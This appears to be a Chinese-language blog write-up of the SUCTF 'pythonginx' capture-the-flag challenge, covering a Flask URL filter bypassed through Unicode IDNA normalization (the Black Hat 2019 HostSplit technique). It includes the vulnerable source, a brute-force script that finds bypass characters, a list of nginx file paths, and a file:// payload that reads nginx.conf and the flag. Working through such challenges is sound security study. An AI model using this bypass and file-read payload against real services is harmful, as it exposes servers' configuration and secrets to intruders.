HacKerQWQ的博客空间

balckhat议题的应用(python+nignx=pythonignx)

Word count: 805Reading time: 3 min
2020/11/14 Share

pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]

审计代码
简单来说就是先用urlparse和urlsplot过滤suctf.cc主机名,然后最后还要包括suctf.cc才能达到目的

思路

这里看到了encode('idna').decode('utf-8')应该存在编码漏洞,搜了一下发现是blackhat 2019的一个议题

链接:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
比如:℆经过encode(‘idna’).decode(‘utf-8’)之后变成c/u
那我们可以用这种特殊字符替换c经过转换之后就可以变成suctf.cc
上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass


def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

在ascii在0-65536中找出符合题目要求的字符替换掉c
最终运行结果:

用里面随便一个字符替换掉c

然后看到有提示Do you know the nginx?,应该是要读nginx文件

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

这里是suctf.cc域名和本机绑定在一起才能读取任意目录下的文件,不然只能读取网站根目录下的文件
读取一下nginx.conf配置文件,因为没有限制协议,因此我们可以用file://协议

看到flag在/usr/fffffflag下面,直接读取

另一种解法

用℆做连接,构造file://suctf.c℆sr/local/nginx/conf/nginx.conf读取配置文件,思路是一样的

总结

这题做了差不多三分之一卡住了

  1. 看到网上的现成字符就一直用(这条路可行,上面提到了只是我没有做出来),没有想到自己构造c的等效字符(查信息的耐心不够)
  2. 看到500错误就以为是自己没有成功pass过滤,其实只是读取文件的路径错误导致500而已(对hosts文件理解不够)
CATALOG
  1. 1. pythonginx
  2. 2. 思路
    1. 2.1. 另一种解法
  3. 3. 总结